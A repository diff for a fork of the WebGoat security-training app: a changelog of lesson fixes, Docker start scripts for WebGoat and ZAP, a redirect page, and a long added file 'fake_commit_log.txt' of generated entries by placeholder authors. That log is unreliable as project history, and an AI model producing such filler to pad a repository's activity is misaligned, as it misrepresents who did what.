## Version 2023.5
### New functionality
- Implement JWT jku example (#1552)
- Java 21 initial support (#1622)
- improve MFAC lesson hint texts for a better user experience (#1424)
- upgrade to Spring Boot version 3 (#1477)
### Bug fixes
- typo in WebGoad.txt (#1667)
- search box moved and jwt encode/decode with little delay (#1664)
- skip validation for JWT (#1663)
- fixed issue in JWT test tool and added robot test (#1658)
- Password reset link test condition more strict and move all WebWolf links to /WebWolf (#1645)
- fix servers id (#1619)
- potential NPE in the stored XSS assignment
- crypto basics broken links
- fixes the default change in trailing slash matching and address the affected assignments
- hint that was breaking the template, causing hints from different assignments to mix (#1424)
- HijackSession lesson template deprecated Tymeleaf attribute
- Fix NPE in IDOR lesson
- Add new assignment IT tests
- XSS mitigation
- Stored Cross-Site Scripting Lesson
- Add Assignment7 Tests
- Fix IDOR lesson
- remove steps from release script (#1509)
- robotframework fails due to updated dependencies (#1508)
- fix Java image inside Docker file The image now downloads the correct Java version based on the architecture.
- Fix typo of HijackSession_content0.adoc
- Restrict SSRF Regexes
- update challenge code - Flags are now wired through a Spring config - Introduced Flag class - Removed Flags from the
FlagController
## Version 2023.4
### New functionality
- [#1422 Add Docker Linux Desktop variant with all tools installed](https://github.com/WebGoat/WebGoat/issues/1422).
Thanks to the [OWASP WrongSecrets project](https://owasp.org/www-project-wrongsecrets/) we now have a Docker Linux
desktop image with all the tools installed. No need to install any tools locally only run the new Docker image. See
README.md for details on how to start it.
- [#1411 JWT: looks that buy as Tom also works with alg:none](https://github.com/WebGoat/WebGoat/issues/1411).
### Bug fixes
- [#1410 WebWolf: JWT decode is broken](https://github.com/WebGoat/WebGoat/issues/1410).
- [#1396 password_reset return 500 Error](https://github.com/WebGoat/WebGoat/issues/1396).
- [#1379 Move XXE to A05:2021-Security Misconfiguration](https://github.com/WebGoat/WebGoat/issues/1379).
## Version 2023.3
With great pleasure, we present you with a new release of WebGoat **2023.3**. Finally, it has been a while. This year starts with a new release of WebGoat. This year we will undoubtedly release more often. From this release on, we began to use a new versioning scheme (https://calver.org/#scheme).
With great pleasure, we present you with a new release of WebGoat **2023.3**. Finally, it has been a while. This year
starts with a new release of WebGoat. This year we will undoubtedly release more often. From this release on, we began
to use a new versioning scheme (https://calver.org/#scheme).
A big thanks to René Zubcevic and Àngel Ollé Blázquez for keeping the project alive this last year, and hopefully, we can make
A big thanks to René Zubcevic and Àngel Ollé Blázquez for keeping the project alive this last year, and hopefully, we
can make
many more releases this year.
### New functionality
- New year's resolution(2022): major refactoring of WebGoat to simplify the setup and improve building times.
- Move away from multi-project setup:
* This has a huge performance benefit when building the application. Build time locally is now `Total time: 42.469 s` (depends on your local machine of course)
* This has a huge performance benefit when building the application. Build time locally is now
`Total time: 42.469 s` (depends on your local machine of course)
* No longer add Maven dependencies in several places
* H2 no longer needs to run as separate process, which solves the issue of WebWolf sharing and needing to configure the correct database connection.
* H2 no longer needs to run as separate process, which solves the issue of WebWolf sharing and needing to configure
the correct database connection.
- More explicit paths in html files to reference `adoc` files, less magic.
- Integrate WebWolf in WebGoat, the setup was way too complicated and needed configuration which could lead to mistakes and a not working application. This also simplifies the Docker configuration as there is only 1 Docker image.
- Integrate WebWolf in WebGoat, the setup was way too complicated and needed configuration which could lead to mistakes
and a not working application. This also simplifies the Docker configuration as there is only 1 Docker image.
- Add WebWolf button in WebGoat
- Move all lessons into `src/main/resources`
- WebGoat selects a port dynamically when starting. It will still start of port 8080 it will try another port to ease the user experience.
- WebGoat selects a port dynamically when starting. It will still start of port 8080 it will try another port to ease
the user experience.
- WebGoat logs URL after startup: `Please browse to http://127.0.0.1:8080/WebGoat to get started...`
- Simplify `Dockerfile` as we no longer need a script to start everything
- Maven build now start WebGoat jar with Maven plugin to make sure we run against the latest build.
- Added `Initializable` interface for a lesson, an assignment can implement this interface to set it up for a specific user and to reset the assignment back to its original state when a reset lesson occurs. See `BlindSendFileAssignment` for an example.
- Integration tests now use the same user. This saves a lot of time as before every test used a different user which triggered the Flyway migration to set up the database schema for the user. This migration took a lot of time.
- Added `Initializable` interface for a lesson, an assignment can implement this interface to set it up for a specific
user and to reset the assignment back to its original state when a reset lesson occurs. See `BlindSendFileAssignment`
for an example.
- Integration tests now use the same user. This saves a lot of time as before every test used a different user which
triggered the Flyway migration to set up the database schema for the user. This migration took a lot of time.
- Updated introduction lesson to WebWolf.
- Added language switch for support for multiple languages.
- Removed logic to start WebGoat on a random port when port `8080` is taken. We would loop until we found a free port. We simplified this to just start on the specified port.
- Removed logic to start WebGoat on a random port when port `8080` is taken. We would loop until we found a free port.
We simplified this to just start on the specified port.
- Add Google formatter for all our code, a PR now checks whether the code adheres to the standard.
- Renaming of all packages and folders.
- [#1039 New OWASP Top 10](https://github.com/WebGoat/WebGoat/issues/1093)
@ -110,14 +267,16 @@ Special thanks to the following contributors providing us with a pull request:
- Added new lessons for cryptography and path-traversal
- Extra content added to the XXE lesson
- Explanation of the assignments will be part of WebGoat, in this release we added detailed descriptions on how to solve the XXE lesson. In the upcoming releases new explanations will be added. If you want to contribute please create a pull request on Github.
- Explanation of the assignments will be part of WebGoat, in this release we added detailed descriptions on how to solve
the XXE lesson. In the upcoming releases new explanations will be added. If you want to contribute please create a
pull request on Github.
- Docker improvements + docker stack for complete container with nginx
- Included JWT token decoding and generation, since jwt.io does not support None anymore
### Bug fixes
- [#743 - Character encoding errors](https://github.com/WebGoat/WebGoat/issues/743)
- [#811 - Flag submission fails](https://github.com/WebGoat/WebGoat/issues/811)
- [#811 - Flag submission fails](https://github.com/WebGoat/WebGoat/issues/811)
- [#810 - Scoreboard for challenges shows csrf users](https://github.com/WebGoat/WebGoat/issues/810)
- [#788 - strange copy in constructor](https://github.com/WebGoat/WebGoat/issues/788)
- [#760 - Execution of standalone jar fails (Flyway migration step](https://github.com/WebGoat/WebGoat/issues/760)
@ -126,7 +285,7 @@ Special thanks to the following contributors providing us with a pull request:
- [#719 - WebGoat: 'Contact Us' email link in header is not correctly set](https://github.com/WebGoat/WebGoat/issues/719)
- [#715 - Reset lesson doesn't reset the "HTML lesson" => forms stay succesful](https://github.com/WebGoat/WebGoat/issues/715)
- [#725 - Vulnerable Components lesson 12 broken due to too new dependency](https://github.com/WebGoat/WebGoat/issues/725)
- [#716 - On M26 @project.version@ is not "interpreted" #7](https://github.com/WebGoat/WebGoat/issues/716)
- [#716 - On M26 @project.version@ is not "interpreted" #7](https://github.com/WebGoat/WebGoat/issues/716)
- [#721 couldn't be able to run CSRF lesson 3: Receive Whitelabel Error Page](https://github.com/WebGoat/WebGoat/issues/721)
- [#724 - Dead link in VulnerableComponents lesson 11](https://github.com/WebGoat/WebGoat/issues/724)
@ -147,4 +306,3 @@ Special thanks to the following contributors providing us with a pull request:
And everyone who provided feedback through Github.
Team WebGoat

View File

@ -8,4 +8,4 @@
<suppress files="ContentTypeAssignment.java" checks="IllegalImportCheck" />
<suppress files="SimpleXXE.java" checks="IllegalImportCheck" />
<suppress files="HtmlTamperingTask.java" checks="ParameterName" />
</suppressions>
</suppressions>

View File

@ -3,7 +3,7 @@
With this image you have WebGoat and ZAP and a browser available to you in a browser running on Ubuntu.
You can start WebGoat and ZAP by opening a terminal and type:
./start-webgoat.sh
./start_webgoat.sh
./start_zap.sh
Happy hacking,

View File

@ -1,6 +1,6 @@
#!/bin/sh
/config/jdk-17.0.6+10-jre/bin/java \
/config/java-jdk/bin/java \
-Duser.home=/config \
-Dfile.encoding=UTF-8 \
-DTZ=Europe/Amsterdam \

View File

@ -1,3 +1,3 @@
#!/bin/sh
/config/jdk-17.0.6+10-jre/bin/java -jar /config/ZAP_2.12.0/zap-2.12.0.jar
/config/java-jdk/bin/java -jar /config/ZAP_2.15.0/zap-2.15.0.jar

View File

@ -0,0 +1,4 @@
/*
* SPDX-FileCopyrightText: Copyright © $today.year WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/

View File

@ -1,4 +1,3 @@
# WebGoat landing page
Old GitHub page which now redirects to OWASP website.

View File

@ -3,12 +3,12 @@
<head>
<meta charset="utf-8">
<meta http-equiv="refresh" content="0;url=https://owasp.org/www-project-webgoat/" />
<link rel="canonical" href="https://owasp.org/www-project-webgoat/" />
<meta http-equiv="refresh" content="0;url=https://webgoat.org" />
<link rel="canonical" href="https://webgoat.org" />
</head>
<body>
<h1>
The page been moved to <a href="https://owasp.org/www-project-webgoat/">https://owasp.org/www-project-webgoat/</a>
The page been moved to <a href="https://webgoat.org">https://webgoat.org</a>
</h1>
</body>
</html>
</html>

742
fake_commit_log.txt Normal file
View File

@ -0,0 +1,742 @@
Sat May 10 12:27:40 UTC 2025: Commit 1 by Author One
Sat May 10 12:28:00 UTC 2025: Commit 2 by Author Two
Sat May 10 16:00:41 UTC 2025: Commit 1 by Author One
Sat May 10 16:02:46 UTC 2025: Commit 2 by Author Two
Sat May 10 16:04:50 UTC 2025: Commit 3 by Author Three
Sat May 10 16:06:55 UTC 2025: Commit 4 by Author Four
Sat May 10 16:08:59 UTC 2025: Commit 5 by Author Five
Sat May 10 16:11:03 UTC 2025: Commit 6 by Author Six
Sat May 10 16:13:08 UTC 2025: Commit 7 by Author Seven
Sat May 10 16:15:12 UTC 2025: Commit 8 by Author Eight
Sat May 10 16:17:17 UTC 2025: Commit 9 by Author Nine
Sat May 10 16:19:21 UTC 2025: Commit 10 by Author Ten
Sat May 10 16:21:26 UTC 2025: Commit 11 by DWSAuthor One
Sat May 10 16:23:30 UTC 2025: Commit 12 by DWSAuthor Two
Sat May 10 16:45:47 UTC 2025: Commit 1 by Author One
Sat May 10 16:48:41 UTC 2025: Commit 1 by Author One
Sat May 10 16:51:41 UTC 2025: Commit 1 by Author One
Sat May 10 16:54:41 UTC 2025: Commit 1 by Author One
Sat May 10 18:00:41 UTC 2025: Commit 1 by Author
Sat May 10 18:03:27 UTC 2025: Commit 2 by Seven
Sat May 10 18:06:14 UTC 2025: Commit 3 by <author7@example.com>
Sat May 10 18:09:01 UTC 2025: Commit 4 by DWSAuthor
Sat May 10 18:11:47 UTC 2025: Commit 5 by Four
Sat May 10 18:14:34 UTC 2025: Commit 6 by <autdwshor4@example.com>
Sat May 10 18:17:21 UTC 2025: Commit 7 by DWSAuthor
Sat May 10 18:20:07 UTC 2025: Commit 8 by Seven
Sat May 10 18:22:54 UTC 2025: Commit 9 by <adwsuthor7@example.com>
Sat May 10 18:25:41 UTC 2025: Commit 10 by DWSAuthor
Sat May 10 18:28:27 UTC 2025: Commit 11 by Six
Sat May 10 18:31:14 UTC 2025: Commit 12 by <autdwshor6@example.com>
Sat May 10 21:00:41 UTC 2025: Commit 1 by DWSAuthor
Sat May 10 21:03:28 UTC 2025: Commit 2 by Seven
Sat May 10 21:06:15 UTC 2025: Commit 3 by <adwsuthor7@example.com>
Sat May 10 21:09:02 UTC 2025: Commit 4 by Author
Sat May 10 21:11:48 UTC 2025: Commit 5 by One
Sat May 10 21:14:35 UTC 2025: Commit 6 by <author1@example.com>
Sat May 10 21:17:22 UTC 2025: Commit 7 by Author
Sat May 10 21:20:08 UTC 2025: Commit 8 by Three
Sat May 10 21:22:55 UTC 2025: Commit 9 by <author3@example.com>
Sat May 10 21:25:42 UTC 2025: Commit 10 by DWSAuthor
Sat May 10 21:28:28 UTC 2025: Commit 11 by Eight
Sat May 10 21:31:15 UTC 2025: Commit 12 by <adwsuthor8@example.com>
Sun May 11 00:00:41 UTC 2025: Commit 1 by Author
Sun May 11 00:03:27 UTC 2025: Commit 2 by Eight
Sun May 11 00:06:14 UTC 2025: Commit 3 by <author8@example.com>
Sun May 11 00:09:01 UTC 2025: Commit 4 by Author
Sun May 11 00:11:47 UTC 2025: Commit 5 by Four
Sun May 11 00:14:34 UTC 2025: Commit 6 by <author4@example.com>
Sun May 11 00:17:21 UTC 2025: Commit 7 by DWSAuthor
Sun May 11 00:20:07 UTC 2025: Commit 8 by Eight
Sun May 11 00:22:54 UTC 2025: Commit 9 by <adwsuthor8@example.com>
Sun May 11 00:25:40 UTC 2025: Commit 10 by DWSAuthor
Sun May 11 00:28:27 UTC 2025: Commit 11 by Ten
Sun May 11 00:31:14 UTC 2025: Commit 12 by <autdwshor10@example.com>
Sun May 11 03:00:42 UTC 2025: Commit 1 by DWSAuthor
Sun May 11 03:03:29 UTC 2025: Commit 2 by Eight
Sun May 11 03:06:16 UTC 2025: Commit 3 by <adwsuthor8@example.com>
Sun May 11 03:09:02 UTC 2025: Commit 4 by DWSAuthor
Sun May 11 03:11:49 UTC 2025: Commit 5 by One
Sun May 11 03:14:36 UTC 2025: Commit 6 by <dwsauthor1@example.com>
Sun May 11 03:17:22 UTC 2025: Commit 7 by DWSAuthor
Sun May 11 03:20:09 UTC 2025: Commit 8 by Six
Sun May 11 03:22:55 UTC 2025: Commit 9 by <autdwshor6@example.com>
Sun May 11 03:25:42 UTC 2025: Commit 10 by Author
Sun May 11 03:28:29 UTC 2025: Commit 11 by Six
Sun May 11 03:31:15 UTC 2025: Commit 12 by <author6@example.com>
Sun May 11 06:00:42 UTC 2025: Commit 1 by DWSAuthor
Sun May 11 06:03:29 UTC 2025: Commit 2 by One
Sun May 11 06:06:16 UTC 2025: Commit 3 by <dwsauthor1@example.com>
Sun May 11 06:09:02 UTC 2025: Commit 4 by DWSAuthor
Sun May 11 06:11:49 UTC 2025: Commit 5 by Ten
Sun May 11 06:14:36 UTC 2025: Commit 6 by <autdwshor10@example.com>
Sun May 11 06:17:22 UTC 2025: Commit 7 by DWSAuthor
Sun May 11 06:20:09 UTC 2025: Commit 8 by Five
Sun May 11 06:22:56 UTC 2025: Commit 9 by <autdwshor5@example.com>
Sun May 11 06:25:42 UTC 2025: Commit 10 by DWSAuthor
Sun May 11 06:28:29 UTC 2025: Commit 11 by Six
Sun May 11 06:31:16 UTC 2025: Commit 12 by <autdwshor6@example.com>
Sun May 11 09:00:42 UTC 2025: Commit 1 by DWSAuthor
Sun May 11 09:03:28 UTC 2025: Commit 2 by Eight
Sun May 11 09:06:15 UTC 2025: Commit 3 by <adwsuthor8@example.com>
Sun May 11 09:09:02 UTC 2025: Commit 4 by Author
Sun May 11 09:11:49 UTC 2025: Commit 5 by One
Sun May 11 09:14:35 UTC 2025: Commit 6 by <author1@example.com>
Sun May 11 09:17:22 UTC 2025: Commit 7 by DWSAuthor
Sun May 11 09:20:08 UTC 2025: Commit 8 by Four
Sun May 11 09:22:55 UTC 2025: Commit 9 by <autdwshor4@example.com>
Sun May 11 09:25:42 UTC 2025: Commit 10 by Author
Sun May 11 09:28:28 UTC 2025: Commit 11 by Seven
Sun May 11 09:31:15 UTC 2025: Commit 12 by <author7@example.com>
Sun May 11 12:00:41 UTC 2025: Commit 1 by DWSAuthor
Sun May 11 12:03:28 UTC 2025: Commit 2 by Four
Sun May 11 12:06:15 UTC 2025: Commit 3 by <autdwshor4@example.com>
Sun May 11 12:09:01 UTC 2025: Commit 4 by DWSAuthor
Sun May 11 12:11:48 UTC 2025: Commit 5 by Three
Sun May 11 12:14:35 UTC 2025: Commit 6 by <dwsauthor3@example.com>
Sun May 11 12:17:21 UTC 2025: Commit 7 by Author
Sun May 11 12:20:08 UTC 2025: Commit 8 by Seven
Sun May 11 12:22:54 UTC 2025: Commit 9 by <author7@example.com>
Sun May 11 12:25:41 UTC 2025: Commit 10 by DWSAuthor
Sun May 11 12:28:28 UTC 2025: Commit 11 by One
Sun May 11 12:31:14 UTC 2025: Commit 12 by <dwsauthor1@example.com>
Sun May 11 15:00:41 UTC 2025: Commit 1 by DWSAuthor
Sun May 11 15:03:28 UTC 2025: Commit 2 by Four
Sun May 11 15:06:15 UTC 2025: Commit 3 by <autdwshor4@example.com>
Sun May 11 15:09:01 UTC 2025: Commit 4 by Author
Sun May 11 15:11:48 UTC 2025: Commit 5 by Nine
Sun May 11 15:14:35 UTC 2025: Commit 6 by <author9@example.com>
Sun May 11 15:17:21 UTC 2025: Commit 7 by DWSAuthor
Sun May 11 15:20:08 UTC 2025: Commit 8 by Nine
Sun May 11 15:22:55 UTC 2025: Commit 9 by <autdwshor9@example.com>
Sun May 11 15:25:41 UTC 2025: Commit 10 by Author
Sun May 11 15:28:28 UTC 2025: Commit 11 by One
Sun May 11 15:31:15 UTC 2025: Commit 12 by <author1@example.com>
Sun May 11 18:00:42 UTC 2025: Commit 1 by DWSAuthor
Sun May 11 18:03:28 UTC 2025: Commit 2 by Four
Sun May 11 18:06:15 UTC 2025: Commit 3 by <autdwshor4@example.com>
Sun May 11 18:09:02 UTC 2025: Commit 4 by Author
Sun May 11 18:11:48 UTC 2025: Commit 5 by Five
Sun May 11 18:14:35 UTC 2025: Commit 6 by <author5@example.com>
Sun May 11 18:17:22 UTC 2025: Commit 7 by DWSAuthor
Sun May 11 18:20:08 UTC 2025: Commit 8 by Nine
Sun May 11 18:22:55 UTC 2025: Commit 9 by <autdwshor9@example.com>
Sun May 11 18:25:42 UTC 2025: Commit 10 by Author
Sun May 11 18:28:28 UTC 2025: Commit 11 by Three
Sun May 11 18:31:15 UTC 2025: Commit 12 by <author3@example.com>
Sun May 11 21:00:41 UTC 2025: Commit 1 by Author
Sun May 11 21:03:28 UTC 2025: Commit 2 by Eight
Sun May 11 21:06:14 UTC 2025: Commit 3 by <author8@example.com>
Sun May 11 21:09:01 UTC 2025: Commit 4 by Author
Sun May 11 21:11:48 UTC 2025: Commit 5 by Two
Sun May 11 21:14:34 UTC 2025: Commit 6 by <author2@example.com>
Sun May 11 21:17:21 UTC 2025: Commit 7 by Author
Sun May 11 21:20:08 UTC 2025: Commit 8 by Five
Sun May 11 21:22:54 UTC 2025: Commit 9 by <author5@example.com>
Sun May 11 21:25:41 UTC 2025: Commit 10 by DWSAuthor
Sun May 11 21:28:28 UTC 2025: Commit 11 by Seven
Sun May 11 21:31:14 UTC 2025: Commit 12 by <adwsuthor7@example.com>
Mon May 12 00:00:42 UTC 2025: Commit 1 by Author
Mon May 12 00:03:29 UTC 2025: Commit 2 by Seven
Mon May 12 00:06:16 UTC 2025: Commit 3 by <author7@example.com>
Mon May 12 00:09:03 UTC 2025: Commit 4 by DWSAuthor
Mon May 12 00:11:49 UTC 2025: Commit 5 by Eight
Mon May 12 00:14:36 UTC 2025: Commit 6 by <adwsuthor8@example.com>
Mon May 12 00:17:22 UTC 2025: Commit 7 by DWSAuthor
Mon May 12 00:20:09 UTC 2025: Commit 8 by Ten
Mon May 12 00:22:56 UTC 2025: Commit 9 by <autdwshor10@example.com>
Mon May 12 00:25:42 UTC 2025: Commit 10 by DWSAuthor
Mon May 12 00:28:29 UTC 2025: Commit 11 by Seven
Mon May 12 00:31:16 UTC 2025: Commit 12 by <adwsuthor7@example.com>
Mon May 12 03:00:42 UTC 2025: Commit 1 by DWSAuthor
Mon May 12 03:03:28 UTC 2025: Commit 2 by Nine
Mon May 12 03:06:15 UTC 2025: Commit 3 by <autdwshor9@example.com>
Mon May 12 03:09:02 UTC 2025: Commit 4 by Author
Mon May 12 03:11:49 UTC 2025: Commit 5 by Nine
Mon May 12 03:14:35 UTC 2025: Commit 6 by <author9@example.com>
Mon May 12 03:17:22 UTC 2025: Commit 7 by Author
Mon May 12 03:20:09 UTC 2025: Commit 8 by Two
Mon May 12 03:22:55 UTC 2025: Commit 9 by <author2@example.com>
Mon May 12 03:25:42 UTC 2025: Commit 10 by Author
Mon May 12 03:28:29 UTC 2025: Commit 11 by One
Mon May 12 03:31:15 UTC 2025: Commit 12 by <author1@example.com>
Mon May 12 06:00:42 UTC 2025: Commit 1 by DWSAuthor
Mon May 12 06:03:28 UTC 2025: Commit 2 by Two
Mon May 12 06:06:15 UTC 2025: Commit 3 by <dwsauthor2@example.com>
Mon May 12 06:09:02 UTC 2025: Commit 4 by DWSAuthor
Mon May 12 06:11:48 UTC 2025: Commit 5 by Ten
Mon May 12 06:14:35 UTC 2025: Commit 6 by <autdwshor10@example.com>
Mon May 12 06:17:22 UTC 2025: Commit 7 by DWSAuthor
Mon May 12 06:20:08 UTC 2025: Commit 8 by Five
Mon May 12 06:22:55 UTC 2025: Commit 9 by <autdwshor5@example.com>
Mon May 12 06:25:42 UTC 2025: Commit 10 by Author
Mon May 12 06:28:28 UTC 2025: Commit 11 by One
Mon May 12 06:31:15 UTC 2025: Commit 12 by <author1@example.com>
Mon May 12 09:00:41 UTC 2025: Commit 1 by DWSAuthor
Mon May 12 09:03:28 UTC 2025: Commit 2 by Two
Mon May 12 09:06:15 UTC 2025: Commit 3 by <dwsauthor2@example.com>
Mon May 12 09:09:01 UTC 2025: Commit 4 by Author
Mon May 12 09:11:48 UTC 2025: Commit 5 by Three
Mon May 12 09:14:35 UTC 2025: Commit 6 by <author3@example.com>
Mon May 12 09:17:21 UTC 2025: Commit 7 by DWSAuthor
Mon May 12 09:20:08 UTC 2025: Commit 8 by Six
Mon May 12 09:22:55 UTC 2025: Commit 9 by <autdwshor6@example.com>
Mon May 12 09:25:41 UTC 2025: Commit 10 by Author
Mon May 12 09:28:28 UTC 2025: Commit 11 by One
Mon May 12 09:31:14 UTC 2025: Commit 12 by <author1@example.com>
Mon May 12 12:00:43 UTC 2025: Commit 1 by DWSAuthor
Mon May 12 12:03:30 UTC 2025: Commit 2 by Eight
Mon May 12 12:06:17 UTC 2025: Commit 3 by <adwsuthor8@example.com>
Mon May 12 12:09:04 UTC 2025: Commit 4 by Author
Mon May 12 12:11:50 UTC 2025: Commit 5 by Five
Mon May 12 12:14:37 UTC 2025: Commit 6 by <author5@example.com>
Mon May 12 12:17:23 UTC 2025: Commit 7 by DWSAuthor
Mon May 12 12:20:10 UTC 2025: Commit 8 by Ten
Mon May 12 12:22:57 UTC 2025: Commit 9 by <autdwshor10@example.com>
Mon May 12 12:25:43 UTC 2025: Commit 10 by Author
Mon May 12 12:28:30 UTC 2025: Commit 11 by Nine
Mon May 12 12:31:17 UTC 2025: Commit 12 by <author9@example.com>
Mon May 12 15:00:41 UTC 2025: Commit 1 by Author
Mon May 12 15:03:28 UTC 2025: Commit 2 by Two
Mon May 12 15:06:15 UTC 2025: Commit 3 by <author2@example.com>
Mon May 12 15:09:01 UTC 2025: Commit 4 by Author
Mon May 12 15:11:48 UTC 2025: Commit 5 by Eight
Mon May 12 15:14:35 UTC 2025: Commit 6 by <author8@example.com>
Mon May 12 15:17:21 UTC 2025: Commit 7 by DWSAuthor
Mon May 12 15:20:08 UTC 2025: Commit 8 by Eight
Mon May 12 15:22:55 UTC 2025: Commit 9 by <adwsuthor8@example.com>
Mon May 12 15:25:41 UTC 2025: Commit 10 by DWSAuthor
Mon May 12 15:28:28 UTC 2025: Commit 11 by Five
Mon May 12 15:31:15 UTC 2025: Commit 12 by <autdwshor5@example.com>
Mon May 12 18:00:41 UTC 2025: Commit 1 by Author
Mon May 12 18:03:28 UTC 2025: Commit 2 by Eight
Mon May 12 18:06:15 UTC 2025: Commit 3 by <author8@example.com>
Mon May 12 18:09:01 UTC 2025: Commit 4 by Author
Mon May 12 18:11:48 UTC 2025: Commit 5 by Nine
Mon May 12 18:14:35 UTC 2025: Commit 6 by <author9@example.com>
Mon May 12 18:17:21 UTC 2025: Commit 7 by DWSAuthor
Mon May 12 18:20:08 UTC 2025: Commit 8 by Six
Mon May 12 18:22:55 UTC 2025: Commit 9 by <autdwshor6@example.com>
Mon May 12 18:25:41 UTC 2025: Commit 10 by DWSAuthor
Mon May 12 18:28:28 UTC 2025: Commit 11 by Eight
Mon May 12 18:31:14 UTC 2025: Commit 12 by <adwsuthor8@example.com>
Mon May 12 21:00:43 UTC 2025: Commit 1 by Author
Mon May 12 21:03:30 UTC 2025: Commit 2 by Ten
Mon May 12 21:06:16 UTC 2025: Commit 3 by <author10@example.com>
Mon May 12 21:09:03 UTC 2025: Commit 4 by DWSAuthor
Mon May 12 21:11:50 UTC 2025: Commit 5 by Nine
Mon May 12 21:14:36 UTC 2025: Commit 6 by <autdwshor9@example.com>
Mon May 12 21:17:23 UTC 2025: Commit 7 by DWSAuthor
Mon May 12 21:20:09 UTC 2025: Commit 8 by One
Mon May 12 21:22:56 UTC 2025: Commit 9 by <dwsauthor1@example.com>
Mon May 12 21:25:43 UTC 2025: Commit 10 by Author
Mon May 12 21:28:29 UTC 2025: Commit 11 by Seven
Mon May 12 21:31:16 UTC 2025: Commit 12 by <author7@example.com>
Tue May 13 00:00:42 UTC 2025: Commit 1 by DWSAuthor
Tue May 13 00:03:29 UTC 2025: Commit 2 by Six
Tue May 13 00:06:15 UTC 2025: Commit 3 by <autdwshor6@example.com>
Tue May 13 00:09:02 UTC 2025: Commit 4 by Author
Tue May 13 00:11:48 UTC 2025: Commit 5 by Five
Tue May 13 00:14:35 UTC 2025: Commit 6 by <author5@example.com>
Tue May 13 00:17:22 UTC 2025: Commit 7 by Author
Tue May 13 00:20:08 UTC 2025: Commit 8 by Ten
Tue May 13 00:22:55 UTC 2025: Commit 9 by <author10@example.com>
Tue May 13 00:25:42 UTC 2025: Commit 10 by DWSAuthor
Tue May 13 00:28:28 UTC 2025: Commit 11 by One
Tue May 13 00:31:15 UTC 2025: Commit 12 by <dwsauthor1@example.com>
Tue May 13 03:00:43 UTC 2025: Commit 1 by DWSAuthor
Tue May 13 03:03:30 UTC 2025: Commit 2 by Seven
Tue May 13 03:06:17 UTC 2025: Commit 3 by <adwsuthor7@example.com>
Tue May 13 03:09:03 UTC 2025: Commit 4 by Author
Tue May 13 03:11:50 UTC 2025: Commit 5 by Two
Tue May 13 03:14:37 UTC 2025: Commit 6 by <author2@example.com>
Tue May 13 03:17:23 UTC 2025: Commit 7 by DWSAuthor
Tue May 13 03:20:10 UTC 2025: Commit 8 by Ten
Tue May 13 03:22:57 UTC 2025: Commit 9 by <autdwshor10@example.com>
Tue May 13 03:25:44 UTC 2025: Commit 10 by DWSAuthor
Tue May 13 03:28:30 UTC 2025: Commit 11 by Five
Tue May 13 03:31:17 UTC 2025: Commit 12 by <autdwshor5@example.com>
Tue May 13 06:00:42 UTC 2025: Commit 1 by DWSAuthor
Tue May 13 06:03:29 UTC 2025: Commit 2 by Two
Tue May 13 06:06:16 UTC 2025: Commit 3 by <dwsauthor2@example.com>
Tue May 13 06:09:02 UTC 2025: Commit 4 by DWSAuthor
Tue May 13 06:11:49 UTC 2025: Commit 5 by Four
Tue May 13 06:14:36 UTC 2025: Commit 6 by <autdwshor4@example.com>
Tue May 13 06:17:22 UTC 2025: Commit 7 by DWSAuthor
Tue May 13 06:20:09 UTC 2025: Commit 8 by Five
Tue May 13 06:22:56 UTC 2025: Commit 9 by <autdwshor5@example.com>
Tue May 13 06:25:42 UTC 2025: Commit 10 by Author
Tue May 13 06:28:29 UTC 2025: Commit 11 by Five
Tue May 13 06:31:16 UTC 2025: Commit 12 by <author5@example.com>
Tue May 13 09:00:45 UTC 2025: Commit 1 by DWSAuthor
Tue May 13 09:03:32 UTC 2025: Commit 2 by Three
Tue May 13 09:06:19 UTC 2025: Commit 3 by <dwsauthor3@example.com>
Tue May 13 09:09:06 UTC 2025: Commit 4 by Author
Tue May 13 09:11:52 UTC 2025: Commit 5 by Three
Tue May 13 09:14:39 UTC 2025: Commit 6 by <author3@example.com>
Tue May 13 09:17:26 UTC 2025: Commit 7 by Author
Tue May 13 09:20:12 UTC 2025: Commit 8 by Five
Tue May 13 09:22:59 UTC 2025: Commit 9 by <author5@example.com>
Tue May 13 09:25:45 UTC 2025: Commit 10 by Author
Tue May 13 09:28:32 UTC 2025: Commit 11 by Eight
Tue May 13 09:31:19 UTC 2025: Commit 12 by <author8@example.com>
Tue May 13 12:00:41 UTC 2025: Commit 1 by DWSAuthor
Tue May 13 12:03:28 UTC 2025: Commit 2 by Two
Tue May 13 12:06:15 UTC 2025: Commit 3 by <dwsauthor2@example.com>
Tue May 13 12:09:01 UTC 2025: Commit 4 by Author
Tue May 13 12:11:48 UTC 2025: Commit 5 by Three
Tue May 13 12:14:35 UTC 2025: Commit 6 by <author3@example.com>
Tue May 13 12:17:21 UTC 2025: Commit 7 by DWSAuthor
Tue May 13 12:20:08 UTC 2025: Commit 8 by Seven
Tue May 13 12:22:55 UTC 2025: Commit 9 by <adwsuthor7@example.com>
Tue May 13 12:25:41 UTC 2025: Commit 10 by DWSAuthor
Tue May 13 12:28:28 UTC 2025: Commit 11 by One
Tue May 13 12:31:14 UTC 2025: Commit 12 by <dwsauthor1@example.com>
Tue May 13 15:00:43 UTC 2025: Commit 1 by Author
Tue May 13 15:03:30 UTC 2025: Commit 2 by Three
Tue May 13 15:06:16 UTC 2025: Commit 3 by <author3@example.com>
Tue May 13 15:09:03 UTC 2025: Commit 4 by Author
Tue May 13 15:11:50 UTC 2025: Commit 5 by Five
Tue May 13 15:14:36 UTC 2025: Commit 6 by <author5@example.com>
Tue May 13 15:17:23 UTC 2025: Commit 7 by Author
Tue May 13 15:20:09 UTC 2025: Commit 8 by Seven
Tue May 13 15:22:56 UTC 2025: Commit 9 by <author7@example.com>
Tue May 13 15:25:43 UTC 2025: Commit 10 by Author
Tue May 13 15:28:29 UTC 2025: Commit 11 by Six
Tue May 13 15:31:16 UTC 2025: Commit 12 by <author6@example.com>
Tue May 13 18:00:42 UTC 2025: Commit 1 by Author
Tue May 13 18:03:29 UTC 2025: Commit 2 by Six
Tue May 13 18:06:16 UTC 2025: Commit 3 by <author6@example.com>
Tue May 13 18:09:02 UTC 2025: Commit 4 by DWSAuthor
Tue May 13 18:11:49 UTC 2025: Commit 5 by Two
Tue May 13 18:14:36 UTC 2025: Commit 6 by <dwsauthor2@example.com>
Tue May 13 18:17:22 UTC 2025: Commit 7 by Author
Tue May 13 18:20:09 UTC 2025: Commit 8 by Four
Tue May 13 18:22:56 UTC 2025: Commit 9 by <author4@example.com>
Tue May 13 18:25:42 UTC 2025: Commit 10 by Author
